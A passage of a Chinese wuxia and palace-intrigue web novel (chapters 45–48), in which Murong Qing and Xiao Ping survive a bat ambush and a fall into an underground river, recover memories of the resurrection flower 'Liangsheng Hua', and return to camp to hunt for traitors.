溪真看阿琛蹭痒痒一样背贴在墙上摩来擦去的,顿觉好笑,“你要是哪里痒,我可以……”他话音一顿,倏地警惕道:“别动!”
就在阿琛的左肩下方,大片的浮雕之上,隐约有一只在刻在旭日旁的蝙蝠,众所周知,这类畜生穴居在暗处,他正要细说言明诡谲之处,阿琛偏过脑袋,天真无邪地眨了眨眼:“找到了。”
一切发生在瞬息之间,溪真神色凝重抢步上前,而阿琛肩膀飞快地撞向那处凸起,眼瞳深处掠过一丝复杂的光芒——比起恶意,更似戏谑。
而机括声大约是全然被水声淹没,几不可闻,就在岔路正中的洞顶上方,一片原本看起来毫无异样的岩顶,忽地塌陷开来,露出一块黝黑的洞口!
“等等。”肖平警觉回头。
然而已经太晚!
“吱吱吱——”
下一刻,无数尖锐刺耳的嘶叫声伴随着成千上万只血蝠,如同决堤的黑色洪水,从洞口中疯狂涌出!
它们翅膀扇动扑起的风带着浓烈的腥臊气味,刺鼻难闻。应是被昭早早和肖平身上散发出的新鲜血气所吸引,绝大多数血蝠都直冲两人袭来。
面对突如其来的变故二人反应不可谓不快,皆持刃反击,然而血蝠太多了!
黑色的蝠群如同受引导一般,汇聚成一股可怖的旋风,两人本就在崖边,后方毫无退路!
“公子!”
眼见两人就要掉下断崖,四和目眦欲裂,想冲过来,却被密集的蝠群阻挡,无法靠近。
“小心!”
混乱中两人试图稳住身形,可巨大的冲击力和脚下的湿滑还是让他们彻底失去了平衡。
不知是谁先伸出了手,两人紧紧相拥,瞬间从断崖边缘坠落,直直跌向下方汹涌的暗河!
拥抱,坠落,耳畔呼啸的风声。
寒冷,疼痛,对方温热的血液。
刺骨的河水霎时没顶,晕眩、失温,所有的发生都与前世的梦境何其相似。
到底哪边是现实?
为何她如此恐惧?以两人的水性,待急流稍缓,要泅水上岸不难,可她却颤抖到心悸。
有人在水下拉紧她的手,她明白那是谁。
激流很快将他们推出山外,天光大亮,即便在水中也能感觉到,她睁开眼,乌发如墨飘忽在眼前,她奋力去看、去分辨——她真的明白,那是谁吗?
她分不清。
是他的脸,是她的眼,又或者,颠倒亦无不可?
模糊的梦境,零乱的闪回,迷雾中可有真相?
水底杂草丛生,一颗白色的、铃铛般的果实忽地划过她眼前。此前围堰清淤时,她亦曾见过一些不知名的杂果,而就在暗河上游,深埋着通天藤的吸水根系。
所以,它们是……?
肖平试图带着昭早早一块上浮换气,而对方却是骤然将重新他拽入深水……
46. 两生花
无尽的黑暗,无际的流水。
寒意像细如牛毛的小针,穿透浸水的衣裳,直刺肺腑。
随波逐流——慕容青想,没有人会喜欢这样的活法。
在临危受命之前,她可以说是家族中最特立独行的存在。
她生来就顽皮好动,从小只乐意在峻岭崇山奔走游玩,在旷野林间习武练功,丝绸罗裙对她来说远不如劲装短打来得方便利落,簪花步摇更是不及武器实用。
她记得自己少时意外识破军中细作,第一次挥刀杀人时的那种畅快。家族中对她以男子的身份行事不是没有非议,只是知情的人极少,大伯父无奈之下曾问过她,为何执意要活得像男子一样。
“我没有执意啊?”
慕容青莫名其妙,反问道:“不是您说军规所限,女子不可以进校场习武吗?我想要精进武学,才只好如此,若军规再开明些,我便不装了。”
慕容正被她说得哑然,大抵也是因为她确有天分,又勤奋刻苦,才睁一只眼闭一只眼。而她只是想做自己喜欢的事,痛痛快快地活着,为此莫说是改换身份,便是倾尽所有又如何?
她以为,人生在世,当如鹰击长空,无拘无束;当如鱼翔浅底,恣意来去。她所求的,不过是活得逍遥自在,不受困于凡俗枷锁。
本该是如此。
直到天下将倾,重担加身,她方知她想要的,最是可望而不可及。
诸般种种,身不由己。
冰冷的水流发生了变化,耳畔依稀传来激荡的轰响——这意味着在河道中沉浮的他们很快就会遭遇瀑布。
流水越来越急,一股巨力猛地将慕容青和肖平拉向前方。
坠落、伤重、濒死……那是“前世”,如今的她尚有力气,拖着因冲击而暂时昏厥的肖平浮出水面,隆隆的水声不绝于耳,从天而降的水幕砸在眼前。
水幕之后,藏着一个极为隐蔽的洞口,如同天然的门帘,隔绝了内外天地。
为了爬上去,她将内力灌注指尖,五指成钩,狠狠抓向湿滑的岩壁,巧的是,那地方早已留有一个深深的指印,同她新按上去的,相差无几。
“哗——!”
上岸时水幕的冲刷如同重锤,令人呼吸为之一窒。她青筋暴起,指甲用力到几近翻裂,硬生生将自己和肖平带了上去。
瀑布后的洞口不大,仅容两人并排,向内延伸出一条不知深浅的隧道。光线从身后的水幕透入一些,地面布满青黑的苔藓。
她半架着肖平前行,很快伸手不见五指,好在摸黑对她来说不算难事,这条隧道也并不太长。
一线明亮天光洒落,他们出得隧道,眼前豁然开朗——这瀑布后的山体,竟是别有洞天。
宛如一方独立于世的净土,映入眼帘的是梦幻般的花海。
雨势已歇,柔和的日光映照着这些不知名的花朵——不对,她怔怔看着,脑海中依稀浮现出一道苍老的声音,他曾对她讲述过它们的名字:
通体血红、花瓣如火焰跳跃的是“赤焰”;茎秆透明、内里流淌着蓝色光液的是“晚星”;顶端的瓣片薄如蝉翼,触碰会发出细微清鸣的是“心兰”;还有毛绒如织,如同上好的绒毯,摸上去柔软异常的“棉苔”……
它们都是通天十二陵所结出的花卉。
曾飘过她脸颊旁的白色果实,便该是“棉苔”的种子,由这曲水坝两岸一雄一雌的通天藤所结。
“通天藤乍看无甚区别,实则分为六类,每一组再分雌雄,成对移栽才可自然相结。”
“经人血滋养长成后,其无花自实,由根须结果,果实沿十二陵水脉顺流而下,终将汇经于龙脉本源,生根发芽,成奇异花海,供养碧鼎中的仙草。”
“青儿,你须谨记,我们慕容家真正世代相传的使命……是为苍生开万世太平,绝不容有失。”
往事如烟,终究慢慢散去。
这些花卉美则美矣,却连香气都有剧毒——是以幽谷中不闻鸟兽,静谧如斯。
寻常人到此,只能做花下亡魂,而慕容氏的血脉素来能够克制通天藤,同样也包括这些花种,所以于她并不打紧。
而肖平,如果她的推测属实,他应该也不再惧怕毒素。但为防万一,她还是抽出了随身的匕首,割破了自己的手掌。
她将他靠在一处石壁前,喂了些血到他唇边。
那时他和她血衣浸透,不分彼此,倒是省去了这一步。
清风徐来,她向花海中央走去。
那里静静矗立着一尊古朴厚重、非铜非铁的碧色大鼎。
鼎高齐胸,四人合抱粗细,鼎身呈现出一种温润的光泽,刻满了重重叠叠、难以辨识的铭文,散发着沧桑的气息,仿佛自亘古便存在于此。
实际上,不过两三百年的光阴,与大梁同岁。
她特地来此,就是为了检视鼎中之物。
那是几片偌大的莲叶。它们盈盈浮于鼎中,青绿欲滴,几乎完全遮蔽了水面,看起来并没有什么特别。
而她上一次来时,这叶莲之上,却盛放着金色的花朵。
那是两朵金色的四瓣花。它们似纯金锻造,全然不类草木所生。
若非亲眼所见,她亦难以相信。
双花同株,并蒂而开,乾坤逆转,起死回生——是为仙草“两生花”。
彼时七窍流血的慕容青用尽最后一丝力气摘下它们,那花瓣转瞬间向中心收拢,凝结成两颗金色的圆珠。她拖着回光返照的残躯强撑到这一步,已是油尽灯枯,堪堪将其中一颗塞到公主的嘴里,还没来得及送入另一颗,便颓然倒下。
彼时她以为她的不甘、憎恨、怒火和爱会让自己死不瞑目,必然能坚持到最后,但事实是死亡突如其来,她根本未及反应。
上一刻,她的手指还碾过对方带血的唇瓣,下一刻,所有的一切都归于虚无。
功败垂成,一如那数百年的谋划,一如她自己。
“为什么会这样?”
她回望,而肖平正站在她身后。
“你都想起来了。”不是猜测,而是肯定,肖平静静地凝视着她。
“是啊,我记得就在这里。”慕容青走向鼎旁,随意地抬脚拨弄,花丛中零星散落着生锈的短箭。“那时情急,为了拔剑扒了你的衣裳,才确定你一直都在伪装。”
“既然如此,”肖平低声问,“为什么还要救我?”
“难道你以为我从来都不曾怀疑吗。论作伪,我又怎么会输给你。”慕容青展颜一笑,“你我各有苦衷,彼此彼此,又何须计较太多,不是吗?”
“是。”肖平点头,眸中的一抹亮色驱散了些许面上的苍白。
“你呢,什么时候知道我的身份?”
“从一开始。”
“为什么?”慕容青诧异,她以为自己的男装扮相该是天衣无缝。
“宫中赐下的合卺酒含有烈性的春欢散,对男子有奇效。”肖平解释起昔年旧事,眼含笑意,“而你一人喝空整壶,却全然无事。”
“……”
难怪当年凤冠霞帔的“公主”鹌鹑似的不出声,就端坐在床沿看好戏,慕容青白眼道:“你倒是心大,若你‘嫁’的是我兄长,怕不是当晚就得死一个。”
肖平没有作答,面上笑意却是淡了。
慕容青亦无声轻叹,建极帝存的可不就是那样的心思吗?要么宁平公主受尽折磨苟活下来,成为他的眼线,要么干脆被盛怒的慕容将军凌虐致死,那么他便可名正言顺,彻底铲除慕容氏。
只不过他并不知道,那人从不是他手中软弱可欺的棋子。
“后来,到底发生了什么?”慕容青再次问,她最后的记忆,停留在倒地身亡。
肖平并没有直接回答她的问题,而是望向那尊碧鼎。
“我少时在云天观修习,曾见过一个古老的抄本。观中师长曾言,那是太祖皇帝从海外仙山带回来的残卷。上书文字,与这鼎上铭文如出一辙。”
慕容青心头微动:“你看得懂铭文?”
“过于晦涩,难以尽识。”肖平顿了顿,转过头来看她,“但关于两生花的部分,我看懂了。”
他念道:“历三百载天地酝养,夺尽造化之功。精粹尽归一身者,可逆转生死轮常,超脱寿元桎梏。”
慕容青呼吸一滞,没有说话。
谷中极静,只有远处瀑布永恒不休的轰鸣隐隐传来。
“若非我身负必死之伤却未死,我定然不信。”肖平垂眸,低声回忆道:“我醒来时,你就在我身侧,七窍流血,气息全无。”
“我探你心脉,起伏几不可察。”
“而你手中,仍握着另一颗金丹。”肖平抬眸,神色坦然,“铭文只记载了‘同服长生’,并没写分食会如何。所以,我便赌了一次。”
接下来发生的事,他不说慕容青也明白了。
感觉心口像被什么东西猝然撞了一下,她听见自己问:“你就不怕鸡飞蛋打,你我共赴黄泉?”
“难道,”她声音有些发紧,“你就没有想过,自己窥破生死,得证不朽?”
“想过。”半晌,肖平才平静地说:“但我别无选择。”<
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别无选择。慕容青细细咀嚼着这四个字,低下头去,“痛吗?”
“什么?”
“在那之后。”
“不痛。”
“你说谎。”
“……”肖平有一刹那的迟疑,“你该是不痛的,你那时没有意识。”
她的确没有那一段的记忆,但肖平有。融骨销肉,该有多痛?明知前方是长生,却押上自己的命去赌一个渺茫的、痛苦的机会,这人怎么会这么傻?
虽然他们都侥幸活了下来——她猜想,或许是因为她当时并未彻底死去,又或者与慕容氏特殊的血脉有关。
但“复生”的代价显而易见,两人一身骨血融去大半,从成人蜕变为孩童,她更是丢失了所有的记忆。
风掠过花海,那些致命的花朵微微摇曳,美得惊心动魄。
慕容青问:“这里的事,可还有第三人知道?”
肖平立刻回答道:“没有。”
“我们在这里待了多久?”
对于被肖平带出此地的记忆,她仍是一片空白。
“半年。山谷后方有间石室,我们居住其中,多睡时间都在沉睡,而你的意识一直不清醒。”
肖平俯身折了一支“赤焰”,将花汁挤在慕容青带伤的手心,“这个可以止血。谷中花草之毒于你我无碍,下次不必这样了。”
“你是怎么知道的?”
“常有误入谷底的飞禽走兽,作为我们的食物。”
“不,”慕容青道,“我是问你怎么知道这个可以止血?”
“在探明水路之前,”肖平答道,“我原想带你从这里爬出去。”
慕容青环顾四周,绝壁千仞,两个孩童怎么可能翻得出去?可想而知那时肖平受了不少伤,而自己浑浑噩噩,派不上任何用场。
“我想应是‘离魂引’的毒素侵入了你的脑内,致使你丢失了此前的记忆。”肖平柔声道,“这种毒对同一个人只能起效一次,往后你便不会再为其所害。”
慕容青默然听着,原来这便是她被闵栀下毒却毫发无损的原因。
而她迟迟未能恢复记忆,到底是因为所谓的“余毒”,还是内心深处不愿面对自己失败的事实,谁知道呢。
她心虚吗?
当然,她历世太浅,轻信贼子,终究为人所害,家族多年来的使命在她手上毁于一旦,她甚至私用了两生花,愧对家主的嘱托。
所谓的前世今生,不过是子虚乌有的一场迷局,她倒是白白为难一场那假道士。
她后悔吗?
却是不知……为救天下人,她万死不辞,为救一个人,她披肝沥胆,这错了吗?
肖平的声音打断了她的思绪:“后来,你我的身体情况日趋稳定,不再频繁昏睡,我便带着你从潭下游了出去。”
时值山中暴雨滂沱数日不休,瀑布的水量暴涨,甚至有积水顺着甬道漫溢进来,形成一片小小的水洼。
肖平一连等候数日,打算待天空放晴再走。毕竟,以他眼下的身形力气,带着同为孩童的阿青,出山途中稍有土崩泥流就会遇险,必须谨慎小心。
无事可做时,他便仰头无声地遥望万里之上的乌云。
很多年前,他亦曾如此,同母亲在冷宫中战战兢兢捱过时日,仿佛他不止是身体变小,连心境一并回到了过去。
破败的宫殿,简陋的饭食,母亲充满忧虑与恐惧、却始终强装镇定的眼睛。
她总是小心翼翼地将他藏在仅有的幔帐后,给他穿上宫女的旧衣,梳起可笑的双髻,教他不可在人前多言,更不能正常走路,一遍遍不厌其烦地叮嘱:
“平儿,记住,千万不能露出马脚,别让外人注意到你,否则我们都会死。”
“我的孩子,你切莫觉得委屈。”弥留之际,母亲用枯瘦的臂膀最后拥住他,含泪说道:“这世间人不以男女区分,只分强弱,只分生死。你只有藏好了,活下去,才有希望看到外面的天光……”
母亲没有说错。在她死后不久,他终得以被一纸敕令放出冷宫,遣往京郊的云天观。
这放逐对他来说,才是人生真正的开始。在离天道、神明最近的的地方,他习得的路,只在自己脚下。
乌云散去,碧空如洗。
肖平将从衣物上裁割下来的布条做成绳索,对一直在他身后探头探脑、满是好奇的阿青说道:“既然你也会泅水,那我们一起下河玩,好不好?”
“好!玩!”
连心智也彻底变小的阿青话还说不利索,但乌黑的眼珠一下子就亮了。
47. 过往
顺着深潭下的暗河几经沉浮,两人总算逃离幽谷,爬到岸上。
这一段比肖平预计的还要艰难,若非阿青水性上佳,加之有绳索将他们紧密相连,恐怕身形幼小的二人早已被急流冲散。
好在终得脱险,此地看起来也不算太荒僻,沿岸树林中不乏砍柴人留下的痕迹。这意味着只要尽快找到人家,他们就能够暂时栖身休息。
仔细辨认了一会方向,肖平牵着阿青朝山下走去。雨后初晴的山林鸟鸣清脆,充斥着草木和泥土的气息。隐隐的,他听到远处传来一片纷乱的马蹄声,阿青显然也有所察觉,歪头发出“嗯?”的疑问。
肖平立刻竖起一根食指贴在唇边,对她摇了摇头。阿青眨眨眼,有样学样地也把指头贴到唇上,很聪明地没有再出声。
借着一颗歪曲斜伸的树干在矮坡上隐蔽身形,肖平屏息探望,很快一队布衣人马疾驰而过。
他们清一色是壮年武夫,身形魁梧,骑术精湛,乍看像是镖师、护卫一类的人去赶着办事,肖平自然不欲与这些人打交道,悄无声息退回树后。
有什么不对劲的地方被他忽略了,但眼下并非有余力顾及其他的时候。两人继续前行,不久后映入眼帘的,却是一片触目惊心的狼藉。
山中主路被泥浆、断木和碎裂的岩石冲断,不少马车的残骸显露其中,或露出一部分破碎的车架、或还高昂着半个滴血的马头,人的衣物也夹杂其中,短短的几片各色衣角露出来,不知底下掩埋了多少性命。
肖平心中一沉,嘱咐阿青小心待在高处,等他一会。
泥浆尚未干涸,他拾起一块形状合适的碎木板,权当做铲子,沿着刨开离自己最近的一人——那却只是半截埋在泥泞中的幡旗,脏污不堪,依稀可见晋王府的徽记。
晋王远居王城,他的车驾,为何会出现在南方的山谷?而且从周遭残骸制式判断,疑似女眷所乘,难道……
肖平忽有些不详的预感,但救人要紧,他扔下幡旗继续挖掘。高处的阿青也学着他的样子下来帮忙,尽管她未必明白其中含义,拿着木板挖得很起劲。
遍身狼藉的两人并未找到幸存者——这些人口鼻中有的满是淤泥,有的却干干净净,可见在被掩埋前便已身死。
肖平垂手,已然明白了方才感觉异样之处:那群武人携兵刃匆匆赶路,却不是将之系于背后更方便骑马,而是统统挂在腰间。
这是随时可以拔刀的姿势,与其说是赶路,更像追杀。
而且他们的任务已经完成了。
“诶!”阿青突然出声低喊,肖平箭步上前,只见她刨出一口歪斜的大木箱,箱子很结实,扣锁只是虚虚挂着——而若有似无的微弱声响,正从箱子里传出来!
肖平猛地将其掀开,两个小小的身影蜷缩在箱子里。
看衣着是一男一女,都约莫三四岁的年纪,女孩一动不动,面色青紫,早已没了呼吸;男孩胸膛几乎看不出起伏,嘴唇发绀,但手脚还在抽搐,正是这一点微末响动,令人察觉。
当机立断肖平先将男孩抱出箱外,这孩子气息极弱,他虽是奋力施救,仍然无力回天。
手掌下稚嫩的心跳渐熄,肖平轻轻替他阖上了眼睛……纵然生死离别历经再多,终究无法平静地接受。
还不及伤感,山谷上方再度传来沉闷的轰隆声!
一股新的土石流正沿着陡峭的山坡倾泻而下,是那群人复又上去动了什么手脚,亦或是天热形成,此刻已无从探究。浑浊的泥浆裹挟着石块树木,朝着他们所在的位置以极快的速度席卷而来。
“走!”肖平厉声喝道,伸手就去拉阿青。
对方的反应比他更快,转手一把拽得他双脚几乎离地!
两人什么也顾不上,连跑带爬,手脚并用地向着侧上方一处凸出的大岩壁拼命攀去。
石流转瞬即至,大地在脚下剧烈震动,仿佛巨兽咆哮。
浑浊的、裹挟着断木碎石的泥浆瞬间吞没了他们方才站立的地方,吞没了那口木箱,吞没了所有的残骸与痕迹……一切都在眨眼之间被再度掩埋、抹平,仿佛什么都不曾发生过。
变故快得像一场噩梦。
肖平摊开手,掌心躺着一枚莹白的玉佩,上面雕着精细的云纹,边缘还沾着一点泥和血——这是方才救那孩子时,无意间从他衣服里带出来的。
待震动平息,又一阵急促的马蹄声和嘈杂的人声由远及近传来。
“快!在那边!好大的动静!”
“仔细搜!肖大将军有令,必须找到,不容有失!”
一队约二三十人的骑兵冲了过来,穿着统一的轻甲,装备整齐。
为首的年轻将领在泥流边沿勒住马,目光锐利地扫到巨岩上两个浑身泥污、紧紧靠在一起的孩子,起先是难以置信,直到认出了肖平手中的玉佩……
加之性别、年岁都符合,附近又别无人家,他们立刻作为遗孤被先送回了将军府。
在那样的山体崩塌中想找全尸首本就困难重重,更遑论天气炎热潮湿,骨肉埋在泥石里,不消几日就化了,待之后肖家的人费力起出残肢骸骨,根本已无从拼凑辨识。
一切便就这样盖棺定论。
明知阴差阳错,肖平却只能选择沉默——他们两个来历不明、莫名出现在事故现场的孩童,一旦被盘查,如何解释得清?
且不说对方信不信,他和阿青的秘密、他们的过去,又如何能够暴露?
顶替这层身份……虽然风险不小,却也是眼下唯一能够让他们快速获得庇护、摆脱当前困境的绝佳机会。
“你想为晋王妃和她的孩子报仇吗?”
这话问得直接,甚至有些突兀。
听到现在,慕容青很清楚肖平并没有和盘托出全部的真相。她还记得当年在王城,他为了保全晋王妃不惜以身犯险——如果只是为了暂时获得一个身份,自己另当别论,肖平早就有能力脱身离开。
留在肖家,深陷其中,他在图谋什么?
肖平手一顿,抬起眼,对上她探究的视线,缓缓摇头,并未作答。
慕容青却不打算让他轻易蒙混过去,向前迈出一步,追问道:“‘不是’,还是‘不止’?”血债又何止这一笔,望月崖上,他们自身的仇,也是该好好算一算了。
肖平唇瓣微动,欲言又止,半晌终是答道:“不确定。那群杀手在路上毒发身亡,无法查实幕后主使。”
“查实?”慕容青不禁嗤笑一声,“这般昭然若揭的事情,何需讲求什么证据?无非是龙椅上那位忌惮晋王势力坐大,要斩断其羽翼,晋王为求自保,便舍弃妻子,甚至……”
联想到晋王殿上那幅毒虎食子的嘴脸,还真说不好他有没有参与其中,但个中真相与她而言并不重要。
“同恶相济,”她语气冰冷道,“总归都逃不了干系。”
说来也是讽刺,尽管这对天家兄弟在联手篡位后早已开始反目内斗,但在仇人的人眼中,他们始终是一条绳上的蚂蚱,断没有放过其一的道理。
“阿青,”肖平的声音低沉下来,带着一丝不易察觉的恳切,“你不必再卷入这些纷争。”
“这不是
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你第一次入皇陵。”慕容青充耳不闻,近乎笃定地问:“那假道士根本就是你的人吧?”
事到如今,若她还将丑陵地宫里的相遇当作一场纯粹的巧合,那就白活两遭了。
以“公主”当年的身手和机警,绝不可能轻易被一个野道士设计拿住,而他今时必定更胜以往。这两人分明是在做戏,从头到尾,都是一场精心策划、各有目的的局。
“你费尽心机进入十二陵地宫,究竟在谋划什么?”她紧紧盯着他的眼睛,不容他闪避,“你这次来,是为了天子符节吗?还是说,那具棺椁?!”
肖平重伤时并未提及符节,反而是让她务必将先帝棺椁护送出去,这其中必有蹊跷。
“阿青,”肖平避开她灼灼的视线,侧过头去,避重就轻道:“放下过往,重来一世不好吗?”
“我为什么要放?”慕容青的反问又快又急,“凭什么?”
肖平转过脸,语气加重了些许:“因为昭家夫妇待你很好,你如今的身份是昭家的女儿。”
“所以昭家的仇我也应该要报。”慕容青寸步不让,“既然我顶替了真正的早早的身份,那么谁害得她家破人亡,我自当替她讨回这笔债!”
肖平眉头紧锁:“可知你一旦卷入是非,会连累昭家满门。”
“不然我为何要问你计划?”慕容青自然明白他的好意,但并不领情,“无论你想做什么,我都可以助你一臂之力。”
即便是要够一够那九五至尊之位,她现在也无所顾忌了。
“当年慕容氏面对覆巢之危都不曾反,我邀你与我一道远走高飞,你亦不愿。如今,这一切为何有所不同?”
肖平定定看着她,忽然问道:
“是因为你带我来这里,折了那两生花吗?”
慕容青下意识看向那碧色大鼎,但她无法同肖平解释这些。此地的隐秘,不该由她说出口,只得移开目光,涩声道:“与此无关。”
“你说的对,我是该放下过往。忠于大梁朝的慕容氏已经死绝了,如今的我,不过是一缕孤魂野鬼,只求快意恩仇。”
肖平低低叹了一声,显是不赞同,但也没有追问。
沉默一如这幽谷中不绝的山岚,在两人之间弥漫。不论“前世”还是“今生”,他们似乎永远无法向彼此坦诚所有。
“罢了。”
再僵持下去也难有结果,慕容青狠狠一把将湿漉漉的额发捋到脑后,稍作整理,她语气便恢复常态道:“无论如何,先出去再说。你的人在外头怕是找急了。”
她顿了顿,想起另一件重要的事。
“等回去之后,立刻派人拿下镇陵监的医官和典簿司郎,只有他们最有可能做手脚,替换掉原本肖炎的人。”
“好。”肖平颔首。
就在慕容青准备重新踏进来路时,背后传来一声低唤:
“阿青。”
慕容青脚步一滞,疑惑地回眸。在梦境深处,她曾无数次凝视过这双澄澈的眼睛——温润的,深邃的,像广袤沉静的湖。
尘世纷杂,风云流散,时光仿佛恒久停泊在这里,四目相对,竟是半生沉浮,恍若隔世。
“在望月崖,你原想对我说什么?”
是了,眼前的人,朦胧的薄雾,风过山林的簌簌声,与那一晚有什么分别?她是该再问一次:若你我之间,表象皆是虚罔,可还有携手同行的余地?
“……”
怎奈何,到底是错过了当年的月色,如今情势复杂,也不是儿女情长的时候。慕容青黯然转身道,“先走吧。”
48. 回营
“排好队,一个一个来——”
镇陵监殿外空地前,伙头老刘按照上面的吩咐,支了口大铁锅,熬煮姜汤分发给进出的将士。
前几日反贼作乱,朝廷派来的大人物落水失踪,朱将军亲自调派人手组织营救,正焦头烂额,昨儿个一群人自己从水道逃出来了——可偏巧,听说世子还是掉水里了。
这下子军中但凡会水的,都得轮番下河捞人。这天寒料峭的,没有一口姜汤暖身,铁打的汉子也受不住。
“……啊!”
不远处牢房方向传来模糊的惨叫声。老刘见怪不怪,从摞得半人高的瓷碗堆里利落地取下两个,一勺盛满,头也不抬地催促:“下一个。”
那人听着顺嘴问:“咋的副将又在审犯人了?”
“可不呢,”老刘手下没停,继续打汤,“下一个。”
下一个边端碗边接话问:“那天还抓到了活口?”
“不然呢?”老刘莫名其妙,“那么些贼子,想死也总有个把没死成的…………诶,等等,你谁啊?!”
王城来的将士还有开山的民夫也都会来领汤,但眼前这人明显不像,衣裳怪里怪气的,浑身湿透,发梢还在滴水。人看着吧……竟还有几分眼熟?
老刘家是陵户,军籍所在,世代守卫皇陵,打年轻刚入伍那会,他就来利琅山了,什么人没见过?
差不多十五六年前,连慕容少将军他都远远瞅过一眼,面前这位,可不正就是……
“昭大人?!”老刘眼瞪似铜铃,一嗓子便嚎开了,“您您您怎么……!”
这位王城来的将作丞是个女人,大伙明面上不敢议论,背地里可都是瞧稀奇见古怪、想着法地偷看,老刘自然也没少打量,只觉她与当年那慕容少将军无端有几分神似。
这么一想,又觉可笑,自己怕是老眼昏花了,怎的将一介女流与英武的少将军相提并论。
“您不是落落落落……”
老刘一激动舌头就打结,对方轻笑道,“我能拿两碗吗?”
“您请、您请!”
老刘忙不迭给她递碗,这边还没平息,后面咋咋呼呼一大群兵将拥簇着什么人往里走去,老刘伸长脖子张望:“这莫非是……”
“是世子殿下。”慕容青确认了他的猜测,又对排队等候取汤的众人温声道,“这些时日,辛苦各位了。”
众人登时面露喜色,七嘴八舌应和些吉祥话,老刘见昭大人一口气喝完两碗热汤,忙问:“用不用再给您送些过去?”
“不必了,”慕容青放下碗谢道,“劳烦给世子那边送些去吧。”
回到自己的一方院落,慕容青精疲力竭,倒头便睡。并没有休息多久,闵栀、张铎等一干闻讯前来探访的人已候在了院外。
“世子殿下吉星高照,昭大人平安无恙,真是苍天庇佑,太好了。”张铎抢先行礼问候,眼中闪过复杂神色,有庆幸,有后怕,更有一丝难以掩饰的心虚。
慕容青懒得与他周旋,随口敷衍两句。此人所言到底几分虚实,后续该如何处置,当由肖平查证后决断。
闵栀上前关切地问:“昭大人身子可还好?”
“无碍。”
“我备了些防治风寒的汤药,和补气益血的点心,昭大人不妨一用。”她款款道,“若不放心,可叫我这贴身侍女留下来,为大人试药。”
慕容青明知故问,“为何?”
“听闻世子甫一回营,便请朱将军拿下了蒯军医。”
闵栀不紧不慢回答道,“经查,当日所有患病离岗的将士,都曾服下过蒯医官经手调配的御寒汤。这才让贼人有机可乘,想不到军中竟有如此狡诈内应,不得不防啊。”
“原来如此,”慕容青“恍然大悟”,拒绝道:“我自小身强体壮,闵姑娘的好意我心领了,多谢。”
“昭大人客气了。”闵栀莞尔,“往后若有其他需要,尽管开口,我定然全力相助。”
她这番话说得倒是情真意切,毕竟若真是事态严重,利琅山中有一个算一个,都会受到牵连。皇帝未必真的看重,但这无疑是一个很好的借口。
“有心了。”慕容青点头,目光扫过屋内所有人,忽然问:“阿琛在哪?”
站在人群最后,恢复一身道袍打扮的溪真答道:“你们落水之后,他立即跟着跳了下去。至今还没有人发现他的踪迹。”
自溪真简短的叙述中,慕容青得知昨日血蝠群爆发,所有人一时自顾不暇。
阿琛跳水后,四和心急如焚也要跟着跳,溪真打晕带走。随后他们一行人沿着水道通路逃了出来,回营求援。
“下落不明?”慕容青玩味地重复这几个字,坠落前一刻,阿琛脸上意味深长的笑容犹在眼前。
血蝠洞的的机关石藏在墙内,他究竟是无意触碰,还是有意为之?
现在想来,他格开她擒拿手的动作,有某种说不出的熟悉感。
这个人,绝不简单。
“昭大人不必担心,”闵栀宽慰道,“以阿琛的水性,应该只是遇到事情耽搁了,很快就会回来。”
“但愿如此。”慕容青显然并不这么认为,但眼下没有多言的必要,“那日擒住的活口,可审问出什么,受谁指使?”
“这等机要,我们哪里会知晓,”闵栀轻轻摇头,“不过想来不太顺利,肖副将日日都要去地牢点卯。”
慕容青点点头,未置一词。
“那我等便不打扰了,昭大人好好休息。”
闵栀起身告辞,众人随之离去。行至僻静处,她低声问心腹侍女:“你可觉得,昭大人回来后有些不同了?”
侍女不解:“小姐与她相识不久,怎知她从前如何?”
“……许是我多心了。”闵栀正色道,“传令下去,继续沿岸搜寻。若找到阿琛,立刻来报。”
暮色四合,利琅山笼罩在一片苍青的暮霭中。粗糙的石阶通往镇陵监深处的牢房,两侧砖石缝隙中布满湿漉漉的青苔,可见此地阴冷潮湿。
肖炎与肖平并肩而行,四和带着一队亲兵紧随其后。这两人一个箭步生风,靴底踏在石阶上发出急促的声响;另一个信步轻移,行走间丛容似春山揽月,但速度却同样不慢。
“哥,今日中枢府派来核验尸首的官差确认,这批人并非他们征调送往亥陵的士兵,与名册上的体征全对不上,应是在入营前就被替换掉了。”
肖炎顿了顿,语气凝重:“典簿司郎果然有问题,只是他抵死不认与反贼勾结,只说收了其中几人的贿赂,以为是替人逃籍,才签下假名册。等会要不要一块审?”
肖平没有直接回答,转而问:“蒯军医可有救?”
肖炎握紧拳头着恼道:“那老匹夫嘴里藏的毒丸见血封喉,怕是不成了。”
此时已行至监牢门口,沉重的铁门在火光下泛着冷光。肖平却停下脚步:“一会儿我将人提到地宫审讯,你不要跟着。”
“地宫去不得!”肖炎急忙劝阻,“哥,你不知道那里的厉害。只有死囚才能下去,活人进去是要出事的!”
“我有分寸。”
“你有分寸,通天藤可没有!”
肖炎急得额角冒汗,“爷爷吩咐我拼上性命也要护你周全,先前已经差点让你出事,要是再有什么三长两短……”他猛地啐了几口,“呸呸呸!”
肖平淡淡道:“别听爷爷的。”
“诶!”肖炎气极反笑,“你说我若是听了你的话,不听爷爷的,那我到底是听了爷爷的,还是没听爷爷的?”
肖平语气依旧平静,“你可以在地宫外等我,一炷香后我会上来。”
“为什么一定要去地宫?这种亡命之徒,大刑伺候都没用,刀架在脖子上也未必怕死。”
肖平不再回答,目光与四和短暂交汇,四和即刻会意,将要犯交给手下,抱拳领命快步离去。
那犯人衣衫褴褛,身上带着明显的刑伤,沉重的镣铐让其步履蹒跚,构不成任何威胁。
肖炎无法,只得叮嘱了一番切莫靠近内宫石门云云。
打开地宫墓门前,肖炎仍忧心忡忡,压低声音道:
“哥,不是我说,你慈悲心肠,真不适合亲审人犯。我听说都是为了护着那姓昭的你才掉下断崖,那女的目光如豆、蠢笨野蛮,你且还与她仁义……”
墓门洞开,肖平全然无视了他的话,径直离去。肖炎暗自长吁
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短叹,回身时不知为何膝弯一痛,原地绊了个趔趄,差点扑倒。
偌大的地宫空无一人,空气中除了腐败的气息便是霉味,火光跳动,石壁上凝结着细密的水珠,只有细微水流和他们的脚步声在空荡的甬道中回响。
不久后,肖平命人驻足待命,只余押解犯人的士兵跟着他穿过一间间空置的牢房,走着走着,却是那士兵在前方带起路来。
被推搡的犯人踉踉跄跄,一言不发,看似无意,实则一直在留心观察四周。他身后的士兵冷声道:“不必瞧了,这底下没有活人,更不会有人接应你。”
犯人眼角微微抽动,喉结上下滚动了一下,仍强自维持着镇定,只是攥着镣铐的手指关节捏得发白。
他打定主意绝不开口。
